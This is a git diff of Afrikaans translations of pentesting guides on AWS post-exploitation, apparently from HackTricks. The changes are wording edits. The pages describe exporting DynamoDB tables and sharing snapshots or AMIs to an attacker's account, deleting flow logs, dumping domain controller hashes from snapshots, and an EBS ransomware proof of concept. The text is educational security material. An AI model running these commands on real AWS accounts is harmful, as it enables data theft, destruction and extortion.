-**Soos die vorige toestemmings** laat hierdie een 'n potensiële aanvaller toe om waardes van net 1 tabel te lees gegewe die primêre sleutel van die inskrywing om te verkry. Dit laat toe om 'n [substel van vergelykings](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) te gebruik, maar die enigste vergelyking wat toegelaat word met die primêre sleutel (wat moet verskyn) is "EQ", so jy kan nie 'n vergelyking gebruik om die hele DB in 'n versoek te verkry nie.
+**Soortgelyk aan die vorige toestemmings** laat hierdie een 'n potensiële aanvaller toe om waardes van net 1 tabel te lees gegewe die primêre sleutel van die inskrywing om te onttrek. Dit laat toe om 'n [substel van vergelykings](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) te gebruik, maar die enigste vergelyking wat met die primêre sleutel toegelaat word (wat moet verskyn) is "EQ", so jy kan nie 'n vergelyking gebruik om die hele DB in 'n versoek te kry nie.
{{#tabs }}
{{#tab name="json file" }}
@@ -135,7 +135,7 @@ maar jy moet die primêre sleutel met 'n waarde spesifiseer, so dit is nie so nu
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
-Hierdie toestemming sal 'n aanvaller toelaat om die **hele tabel na 'n S3-bucket** van sy keuse te **eksporteer:**
+Hierdie toestemming sal 'n aanvaller toelaat om die **hele tabel na 'n S3-bucket** van sy keuse te **exporteer**:
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:::table/TargetTable \
@@ -173,7 +173,7 @@ aws dynamodb restore-table-from-backup \
Hierdie toestemming laat gebruikers toe om 'n **nuwe item aan die tabel toe te voeg of 'n bestaande item met 'n nuwe item te vervang**. As 'n item met dieselfde primêre sleutel reeds bestaan, sal die **hele item vervang word** met die nuwe item. As die primêre sleutel nie bestaan nie, sal 'n nuwe item met die gespesifiseerde primêre sleutel **gecreëer** word.
{{#tabs }}
-{{#tab name="XSS Voorbeeld" }}
+{{#tab name="XSS Example" }}
```bash
## Create new item with XSS payload
aws dynamodb put-item --table --item file://add.json
@@ -202,11 +202,11 @@ aws dynamodb put-item \
{{#endtab }}
{{#endtabs }}
-**Potensiële Impak:** Exploitatie van verdere kwesbaarhede/omseilings deur in staat te wees om data in 'n DynamoDB-tabel toe te voeg/wysig
+**Potensiële Impak:** Exploitatie van verdere kwesbaarhede/oorskrygings deur in staat te wees om data in 'n DynamoDB tabel toe te voeg/te wysig
### `dynamodb:UpdateItem`
-Hierdie toestemming laat gebruikers toe om **die bestaande eienskappe van 'n item te wysig of nuwe eienskappe aan 'n item toe te voeg**. Dit **vervang nie** die hele item nie; dit werk slegs die gespesifiseerde eienskappe by. As die primêre sleutel nie in die tabel bestaan nie, sal die operasie **'n nuwe item skep** met die gespesifiseerde primêre sleutel en die eienskappe wat in die opdateringuitdrukking gespesifiseer is, stel.
+Hierdie toestemming laat gebruikers toe om **die bestaande eienskappe van 'n item te wysig of nuwe eienskappe aan 'n item toe te voeg**. Dit **vervang nie** die hele item nie; dit werk slegs die gespesifiseerde eienskappe by. As die primêre sleutel nie in die tabel bestaan nie, sal die operasie **'n nuwe item skep** met die gespesifiseerde primêre sleutel en die eienskappe wat in die opdateringuitdrukking gespesifiseer is, stel.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -252,7 +252,7 @@ aws dynamodb delete-table \
--table-name TargetTable \
--region
```
-**Potensiële impak**: Gegevensverlies en onderbreking van dienste wat op die verwyderde tabel staatmaak.
+**Potensiële impak**: Gegevensverlies en ontwrigting van dienste wat op die verwyderde tabel staatmaak.
### `dynamodb:DeleteBackup`
@@ -269,7 +269,7 @@ aws dynamodb delete-backup \
> [!NOTE]
> TODO: Toets of dit werklik werk
-'n Aanvaller met hierdie toestemmings kan **'n stroom op 'n DynamoDB-tabel aktiveer, die tabel opdateer om veranderinge te begin stroom, en dan toegang tot die stroom verkry om veranderinge aan die tabel in werklike tyd te monitor**. Dit stel die aanvaller in staat om data veranderinge te monitor en te exfiltreer, wat moontlik kan lei tot data lek.
+'n Aanvaller met hierdie toestemmings kan **'n stroom op 'n DynamoDB-tabel aktiveer, die tabel opdateer om veranderinge te begin stroom, en dan toegang tot die stroom verkry om veranderinge aan die tabel in werklike tyd te monitor**. Dit stel die aanvaller in staat om data veranderinge te monitor en te ekfiltreer, wat moontlik kan lei tot data lekkasie.
1. Aktiveer 'n stroom op 'n DynamoDB-tabel:
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index 21f02432f..6aa4f5aee 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -10,7 +10,7 @@ Vir meer inligting, kyk:
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
-### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
+### **Kwaadwillige VPC Spiegel -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
VPC-verkeer spieëling **dubbel die inkomende en uitgaande verkeer vir EC2-instances binne 'n VPC** sonder die behoefte om enigiets op die instances self te installeer. Hierdie gedupliseerde verkeer sou gewoonlik na iets soos 'n netwerk indringing opsporingstelsel (IDS) gestuur word vir analise en monitering.\
'n Aanvaller kan dit misbruik om al die verkeer te vang en sensitiewe inligting daaruit te verkry:
@@ -21,9 +21,9 @@ Vir meer inligting, kyk hierdie bladsy:
aws-malicious-vpc-mirror.md
{{#endref}}
-### Copy Running Instance
+### Kopieer Loopende Instansie
-Instances bevat gewoonlik 'n soort sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). egter, 'n ander manier om te kyk wat dit bevat, is om **'n AMI te skep en 'n nuwe instance (selfs in jou eie rekening) daaruit te laat loop**:
+Instansies bevat gewoonlik 'n soort sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk [EC2 voorregverhoging truuks](../../aws-privilege-escalation/aws-ec2-privesc.md)). egter, 'n ander manier om te kyk wat dit bevat, is om **'n AMI te skep en 'n nuwe instansie (selfs in jou eie rekening) daarvan te laat loop**:
```shell
# List instances
aws ec2 describe-images
@@ -83,7 +83,7 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por
Dit is moontlik om 'n EC2-instantie te draai en dit te registreer om gebruik te word om ECS-instanties te draai en dan die ECS-instanties se data te steel.
-Vir [**meer inligting, kyk hier**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
+Vir [**meer inligting kyk hierna**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
### Verwyder VPC vloei logs
```bash
@@ -91,7 +91,7 @@ aws ec2 delete-flow-logs --flow-log-ids --region
```
### SSM Port Forwarding
-Benodigde toestemmings:
+Vereiste toestemmings:
- `ssm:StartSession`
@@ -104,13 +104,13 @@ Benewens opdraguitvoering, laat SSM vir verkeers-tunneling wat misbruik kan word
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
-3. Kry die Bastion EC2 AWS tydelike geloofsbriewe met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) skrip
-4. Oordra die geloofsbriewe na jou eie masjien in die `$HOME/.aws/credentials` lêer as `[bastion-ec2]` profiel
+3. Kry die Bastion EC2 AWS tydelike akrediteerings met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) skrip
+4. Oordra die akrediteerings na jou eie masjien in die `$HOME/.aws/credentials` lêer as `[bastion-ec2]` profiel
5. Meld aan by EKS as die Bastion EC2:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region --name
```
-6. Werk die `server` veld in die `$HOME/.kube/config` lêer op om na `https://localhost` te verwys
+6. Werk die `server` veld in die `$HOME/.kube/config` lêer om na `https://localhost` te verwys
7. Skep 'n SSM-tonnel soos volg:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region
@@ -119,7 +119,7 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
```shell
kubectl get pods --insecure-skip-tls-verify
```
-Let wel, die SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify ` vlag (of sy ekwivalent in K8s-auditgereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tonnel getunnel word, is jy veilig teen enige vorm van MitM-aanvalle.
+Let wel, die SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify ` vlag (of sy ekwivalent in K8s audit gereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tonnel getunnel word, is jy veilig teen enige vorm van MitM-aanvalle.
Laastens, hierdie tegniek is nie spesifiek vir die aanval op private EKS-klusters nie. Jy kan arbitrêre domeine en poorte stel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot.
@@ -127,9 +127,9 @@ Laastens, hierdie tegniek is nie spesifiek vir die aanval op private EKS-kluster
```bash
aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
```
-### Soek sensitiewe inligting in openbare en private AMI's
+### Soek sensitiewe inligting in openbare en private AMIs
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n hulpmiddel wat ontwerp is om **sensitiewe inligting binne openbare of private Amazon Machine Images (AMIs) te soek**. Dit outomatiseer die proses om instansies van teiken AMI's te begin, hul volumes te monteer, en te skandeer vir potensiële geheime of sensitiewe data.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n hulpmiddel wat ontwerp is om **sensitiewe inligting binne openbare of private Amazon Machine Images (AMIs) te soek**. Dit outomatiseer die proses om instansies van teiken AMIs te begin, hul volumes te monteer, en te skandeer vir potensiële geheime of sensitiewe data.
### Deel EBS Snapshot
```bash
@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
```
### EBS Ransomware PoC
-'n Bewys van konsep soortgelyk aan die Ransomware demonstrasie wat in die S3 post-exploitation notas gedemonstreer is. KMS moet hernoem word na RMS vir Ransomware Bestuurdiens met hoe maklik dit is om verskeie AWS dienste te enkripteer met behulp daarvan.
+'n Bewys van konsep soortgelyk aan die Ransomware demonstrasie wat in die S3 post-exploitation notas gedemonstreer is. KMS moet hernoem word na RMS vir Ransomware Management Service met hoe maklik dit is om verskeie AWS dienste te enkripteer deur dit te gebruik.
-Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel in KMS. Vir hierdie voorbeeld sal ons net hê dat AWS die sleuteldata vir my bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die sleuteldata buite AWS se beheer hou. Verander die sleutelbeleid om enige AWS rekening Prinsipaal toe te laat om die sleutel te gebruik. Vir hierdie sleutelbeleid was die rekening se naam 'AttackSim' en die beleidsreël wat alle toegang toelaat, word 'Buite Enkripsie' genoem.
+Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel in KMS. Vir hierdie voorbeeld sal ons net hê dat AWS die sleuteldata vir my bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die sleuteldata buite AWS se beheer behou. Verander die sleutelbeleid om enige AWS rekening Hoof te laat toe om die sleutel te gebruik. Vir hierdie sleutelbeleid was die rekening se naam 'AttackSim' en die beleidsreël wat alle toegang toelaat, word 'Outside Encryption' genoem.
```
{
"Version": "2012-10-17",
@@ -231,7 +231,7 @@ Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel i
]
}
```
-Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om dit te gebruik om 'n EBS-volume te enkripteer:
+Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om 'n EBS-volume te enkripteer:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -239,17 +239,17 @@ Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
-Nou met die publiek toeganklike sleutel om te gebruik. Ons kan 'n 'slagoffer' rekening gebruik wat 'n paar EC2-instanse het met ongeënkripteerde EBS-volumes aangeheg. Hierdie 'slagoffer' rekening se EBS-volumes is wat ons teiken vir enkripsie, hierdie aanval is onder die veronderstelde oortreding van 'n hoë-bevoegdheid AWS-rekening.
+Nou met die publiek toeganklike sleutel om te gebruik. Ons kan 'n 'slagoffer' rekening gebruik wat 'n paar EC2-instanse het met nie-geënkripteerde EBS-volumes aangeheg. Hierdie 'slagoffer' rekening se EBS-volumes is wat ons teiken vir enkripsie, hierdie aanval is onder die veronderstelde oortreding van 'n hoë-bevoegdheid AWS-rekening.
 
-Soos in die S3 ransomware voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep met behulp van snapshots, die publiek beskikbare sleutel van die 'aanvaller' rekening gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instanse af te ontkoppel en dit te verwyder, en dan uiteindelik die snapshots wat gebruik is om die nuut enkripteerde EBS-volumes te skep, te verwyder. 
+Soos in die S3 ransomware voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep met behulp van snapshots, die publiek beskikbare sleutel van die 'aanvaller' rekening gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instanse af te ontkoppel en te verwyder, en dan uiteindelik die snapshots wat gebruik is om die nuut geënkripteerde EBS-volumes te skep, te verwyder. 
-Dit lei tot slegs enkripteerde EBS-volumes wat beskikbaar is in die rekening.
+Dit lei tot slegs geënkripteerde EBS-volumes wat in die rekening beskikbaar is.

-Dit is ook die moeite werd om te noem, die skrip het die EC2-instanse gestop om die oorspronklike EBS-volumes te ontkoppel en te verwyder. Die oorspronklike ongeënkripteerde volumes is nou weg.
+Dit is ook die moeite werd om te noem dat die skrip die EC2-instanse gestop het om die oorspronklike EBS-volumes te ontkoppel en te verwyder. Die oorspronklike nie-geënkripteerde volumes is nou weg.

@@ -324,7 +324,7 @@ Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyde
]
}
```
-Wag 'n oomblik vir die nuut ingestelde sleutelbeleid om te versprei. Keer dan terug na die 'slagoffer' rekening en probeer om een van die nuut versleutelde EBS volumes aan te sluit. Jy sal vind dat jy die volume kan aanheg.
+Wag 'n bietjie vir die nuut ingestelde sleutelbeleid om te versprei. Keer dan terug na die 'slagoffer' rekening en probeer om een van die nuut versleutelde EBS volumes aan te sluit. Jy sal vind dat jy die volume kan aanheg.
 
@@ -332,7 +332,7 @@ Maar wanneer jy probeer om die EC2 instansie weer op te start met die versleutel
 
-Dit is die python skrip wat gebruik word. Dit neem AWS krediete vir 'n 'slagoffer' rekening en 'n publiek beskikbare AWS ARN waarde vir die sleutel wat gebruik gaan word vir versleuteling. Die skrip sal versleutelde kopieë van ALLE beskikbare EBS volumes wat aan ALLE EC2 instansies in die geteikende AWS rekening geheg is, maak, dan elke EC2 instansie stop, die oorspronklike EBS volumes ontkoppel, hulle verwyder, en uiteindelik al die snappings wat tydens die proses gebruik is, verwyder. Dit sal slegs versleutelde EBS volumes in die geteikende 'slagoffer' rekening agterlaat. GEBRUIK DIT SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE ORIGINELE EBS VOLUMES VERWYDER. Jy kan hulle herstel met die gebruikte KMS sleutel en hulle na hul oorspronklike toestand herstel via snappings, maar ek wil jou net bewus maak dat dit 'n ransomware PoC aan die einde van die dag is.
+Dit is die python skrip wat gebruik word. Dit neem AWS krediete vir 'n slagoffer' rekening en 'n publiek beskikbare AWS ARN waarde vir die sleutel wat gebruik gaan word vir versleuteling. Die skrip sal versleutelde kopieë van ALLE beskikbare EBS volumes wat aan ALLE EC2 instansies in die geteikende AWS rekening aangeheg is, maak, dan elke EC2 instansie stop, die oorspronklike EBS volumes ontkoppel, hulle verwyder, en uiteindelik al die snappings wat tydens die proses gebruik is, verwyder. Dit sal slegs versleutelde EBS volumes in die geteikende 'slagoffer' rekening laat. GEBRUIK DIT SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONKLIKE EBS VOLUMES VERWYDER. Jy kan hulle herstel met die gebruikte KMS sleutel en hulle na hul oorspronklike toestand via snappings herstel, maar ek wil jou net bewus maak dat dit 'n ransomware PoC aan die einde van die dag is.
```
import boto3
import argparse
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index 075784d07..95f18ee43 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -77,7 +77,7 @@ Stap 5: Kontroleer of die volume enige data het met die opdrag `sudo file -s /de
As die uitvoer van die bogenoemde opdrag "/dev/xvdf: data" toon, beteken dit dat die volume leeg is.
-Stap 6: Formateer die volume na die ext4 lêerstelsel met die opdrag `sudo mkfs -t ext4 /dev/xvdf`. Alternatiewelik kan jy ook die xfs-formaat gebruik deur die opdrag `sudo mkfs -t xfs /dev/xvdf` te gebruik. Neem asseblief kennis dat jy of ext4 of xfs moet gebruik.
+Stap 6: Formateer die volume na die ext4 lêerstelsel met die opdrag `sudo mkfs -t ext4 /dev/xvdf`. Alternatiewelik kan jy ook die xfs-formaat gebruik deur die opdrag `sudo mkfs -t xfs /dev/xvdf` te gebruik. Neem asseblief kennis dat jy óf ext4 óf xfs moet gebruik.
Stap 7: Skep 'n gids van jou keuse om die nuwe ext4-volume te monteer. Byvoorbeeld, jy kan die naam "newvolume" gebruik.
@@ -122,7 +122,7 @@ ls /mnt
```
## Shadow Copy
-Enige AWS-gebruiker wat die **`EC2:CreateSnapshot`** toestemming het, kan die hashes van alle domein gebruikers steel deur 'n **snapshot van die Domeinbeheerder** te skep, dit aan 'n instansie wat hulle beheer te koppel en die **NTDS.dit en SYSTEM** registrasie hives lêer te **eksporteer** vir gebruik met Impacket se secretsdump projek.
+Enige AWS-gebruiker wat die **`EC2:CreateSnapshot`** toestemming het, kan die hashes van alle domein gebruikers steel deur 'n **snapshot van die Domeinbeheerder** te skep, dit aan 'n instansie wat hulle beheer te koppel en die **NTDS.dit en SYSTEM** registrasie hives lêer te eksporteer vir gebruik met Impacket se secretsdump projek.
Jy kan hierdie hulpmiddel gebruik om die aanval te outomatiseer: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) of jy kan een van die vorige tegnieke gebruik nadat jy 'n snapshot geskep het.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
index 63ad1afc6..04d420b1d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -2,13 +2,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
-**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **vir verdere besonderhede van die aanval!**
+**Kyk** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **vir verdere besonderhede van die aanval!**
-Passiewe netwerkinspeksie in 'n wolkomgewing was **uitdagend**, wat groot konfigurasiewijzigings vereis het om netwerkverkeer te monitor. 'n Nuwe kenmerk genaamd “**VPC Traffic Mirroring**” is egter deur AWS bekendgestel om hierdie proses te vereenvoudig. Met VPC Traffic Mirroring kan netwerkverkeer binne VPC's **gedupliseer** word sonder om enige sagteware op die instansies self te installeer. Hierdie gedupliseerde verkeer kan na 'n netwerkindringingsdeteksiesisteem (IDS) gestuur word vir **analise**.
+Passiewe netwerkinspeksie in 'n wolkomgewing was **uitdagend**, wat groot konfigurasiewijzigings vereis het om netwerkverkeer te monitor. 'n Nuwe kenmerk genaamd “**VPC Traffic Mirroring**” is egter deur AWS bekendgestel om hierdie proses te vereenvoudig. Met VPC Traffic Mirroring kan netwerkverkeer binne VPC's **gedupliseer** word sonder om enige sagteware op die instansies self te installeer. Hierdie gedupliseerde verkeer kan na 'n netwerkindringingsdeteksiesisteem (IDS) gestuur word vir **ontleding**.
Om die behoefte aan **geoutomatiseerde ontplooiing** van die nodige infrastruktuur vir spieëling en ekfiltrering van VPC-verkeer aan te spreek, het ons 'n bewys-van-konsep-skrip genaamd “**malmirror**” ontwikkel. Hierdie skrip kan gebruik word met **gekompromitteerde AWS-akkrediteer** om spieëling op te stel vir alle ondersteunde EC2-instanties in 'n teiken VPC. Dit is belangrik om te noem dat VPC Traffic Mirroring slegs ondersteun word deur EC2-instanties wat deur die AWS Nitro-stelsel aangedryf word, en die VPC-spieëlteiken moet binne dieselfde VPC wees as die gespieëlde gasheer.
-Die **impak** van kwaadwillige VPC-verkeer spieëling kan beduidend wees, aangesien dit aanvallers toelaat om toegang te verkry tot **sensitiewe inligting** wat binne VPC's oorgedra word. Die **waarskynlikheid** van sulke kwaadwillige spieëling is hoog, gegewe die teenwoordigheid van **duidelike teksverkeer** wat deur VPC's vloei. Baie maatskappye gebruik duidelike teksprotokolle binne hul interne netwerke vir **prestasie redes**, met die aanname dat tradisionele man-in-the-middle-aanvalle nie moontlik is nie.
+Die **impak** van kwaadwillige VPC-verkeer spieëling kan beduidend wees, aangesien dit aanvallers in staat stel om toegang te verkry tot **sensitiewe inligting** wat binne VPC's oorgedra word. Die **waarskynlikheid** van sulke kwaadwillige spieëling is hoog, gegewe die teenwoordigheid van **duidelike teksverkeer** wat deur VPC's vloei. Baie maatskappye gebruik duidelike teksprotokolle binne hul interne netwerke vir **prestasie redes**, met die aanname dat tradisionele man-in-the-middle-aanvalle nie moontlik is nie.
Vir meer inligting en toegang tot die [**malmirror skrip**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), kan dit op ons **GitHub-bewaarplek** gevind word. Die skrip outomatiseer en stroomlyn die proses, wat dit **vinning, eenvoudig en herhaalbaar** maak vir offensiewe navorsingsdoeleindes.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index 534beb164..72ad65a15 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -12,28 +12,28 @@ Vir meer inligting, kyk:
### Host IAM Roles
-In ECS kan 'n **IAM rol aan die taak** toegeken word wat binne die houer loop. **As** die taak binne 'n **EC2** instance loop, sal die **EC2 instance** 'n **ander IAM** rol aan hom geheg hê.\
-Dit beteken dat as jy daarin slaag om 'n **kompromie** van 'n ECS instance te maak, jy potensieel die **IAM rol wat aan die ECR en aan die EC2 instance** gekoppel is, kan **verkry**. Vir meer inligting oor hoe om daardie akrediteer te verkry, kyk:
+In ECS kan 'n **IAM rol aan die taak** toegeken word wat binne die houer loop. **As** die taak binne 'n **EC2** instansie loop, sal die **EC2 instansie** 'n **ander IAM** rol aan dit hê.\
+Dit beteken dat as jy daarin slaag om 'n ECS instansie te **kompromitteer**, jy potensieel die **IAM rol geassosieer met die ECR en die EC2 instansie** kan **verkry**. Vir meer inligting oor hoe om daardie akrediteer te verkry, kyk:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
{{#endref}}
> [!CAUTION]
-> Let daarop dat as die EC2 instance IMDSv2 afdwing, [**volgens die dokumentasie**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **antwoord van die PUT versoek** 'n **hop limiet van 1** sal hê, wat dit onmoontlik maak om toegang tot die EC2 metadata vanaf 'n houer binne die EC2 instance te verkry.
+> Let daarop dat as die EC2 instansie IMDSv2 afdwing, [**volgens die dokumentasie**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **antwoord van die PUT versoek** 'n **hop limiet van 1** sal hê, wat dit onmoontlik maak om toegang tot die EC2 metadata vanaf 'n houer binne die EC2 instansie te verkry.
### Privesc to node to steal other containers creds & secrets
-Maar verder, gebruik EC2 docker om ECs take te laat loop, so as jy kan ontsnap na die node of **toegang tot die docker socket** kan kry, kan jy **kontroleer** watter **ander houers** aan die gang is, en selfs **binne hulle gaan** en **hulle IAM rolle** steel.
+Maar verder, gebruik EC2 docker om ECs take te loop, so as jy kan ontsnap na die node of **toegang tot die docker socket** kan kry, kan jy **kyk** watter **ander houers** aan die gang is, en selfs **binne hulle gaan** en **hulle IAM rolle** steel.
#### Making containers run in current host
-Boonop sal die **EC2 instance rol** gewoonlik genoeg **toestemmings** hê om die **toestand van die houer instance** van die EC2 instances wat as nodes binne die kluster gebruik word, te **opdateer**. 'n Aanvaller kan die **toestand van 'n instance na DRAINING** verander, dan sal ECS **alle take daarvan verwyder** en diegene wat as **REPLICA** loop, sal in 'n ander instance **loop**, potensieel binne die **aanvaller se instance** sodat hy **hulle IAM rolle** en potensieel sensitiewe inligting van binne die houer kan **steel**.
+Verder sal die **EC2 instansie rol** gewoonlik genoeg **toestemmings** hê om die **toestand van die houer instansie** van die EC2 instansies wat as nodes binne die kluster gebruik word, te **opdateer**. 'n Aanvaller kan die **toestand van 'n instansie na DRAINING** verander, dan sal ECS **alle take daarvan verwyder** en diegene wat as **REPLICA** loop, sal in 'n ander instansie **loop**, potensieel binne die **aanvaller se instansie** sodat hy **hulle IAM rolle** en potensieel sensitiewe inligting van binne die houer kan **steel**.
```bash
aws ecs update-container-instances-state \
--cluster --status DRAINING --container-instances
```
-Die dieselfde tegniek kan gedoen word deur **die EC2-instantie uit die kluster te deregistreer**. Dit is potensieel minder stil, maar dit sal **die take dwing om in ander instanties uitgevoer te word:**
+Die dieselfde tegniek kan gedoen word deur **die EC2-instantie van die kluster af te deregistreer**. Dit is potensieel minder stil, maar dit sal **die take dwing om in ander instanties uitgevoer te word:**
```bash
aws ecs deregister-container-instance \
--cluster --container-instance --force
@@ -52,6 +52,6 @@ aws ecs submit-attachment-state-changes ...
```
### Steel sensitiewe inligting uit ECR houers
-Die EC2-instantie sal waarskynlik ook die toestemming `ecr:GetAuthorizationToken` hê wat dit toelaat om **beelde af te laai** (jy kan sensitiewe inligting daarin soek).
+Die EC2-instantie sal waarskynlik ook die toestemming `ecr:GetAuthorizationToken` hê wat dit toelaat om **beelde af te laai** (jy kan sensitiewe inligting daarin soek).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
index 93a0b5d15..d42213ea3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
@@ -12,7 +12,7 @@ Vir meer inligting, kyk:
### `elasticfilesystem:DeleteMountTarget`
-'n Aanvaller kan 'n mount target verwyder, wat moontlik toegang tot die EFS-lêerstelsel vir toepassings en gebruikers wat op daardie mount target staatmaak, kan ontwrig.
+'n Aanvaller kan 'n monteerdoelwit verwyder, wat moontlik toegang tot die EFS-lêerstelsel vir toepassings en gebruikers wat op daardie monteerdoelwit staatmaak, kan ontwrig.
```sql
aws efs delete-mount-target --mount-target-id
```
@@ -20,7 +20,7 @@ aws efs delete-mount-target --mount-target-id
### `elasticfilesystem:DeleteFileSystem`
-'n Aanvaller kan 'n hele EFS-lêerstelsel verwyder, wat kan lei tot dataverlies en 'n impak op toepassings wat op die lêerstelsel staatmaak.
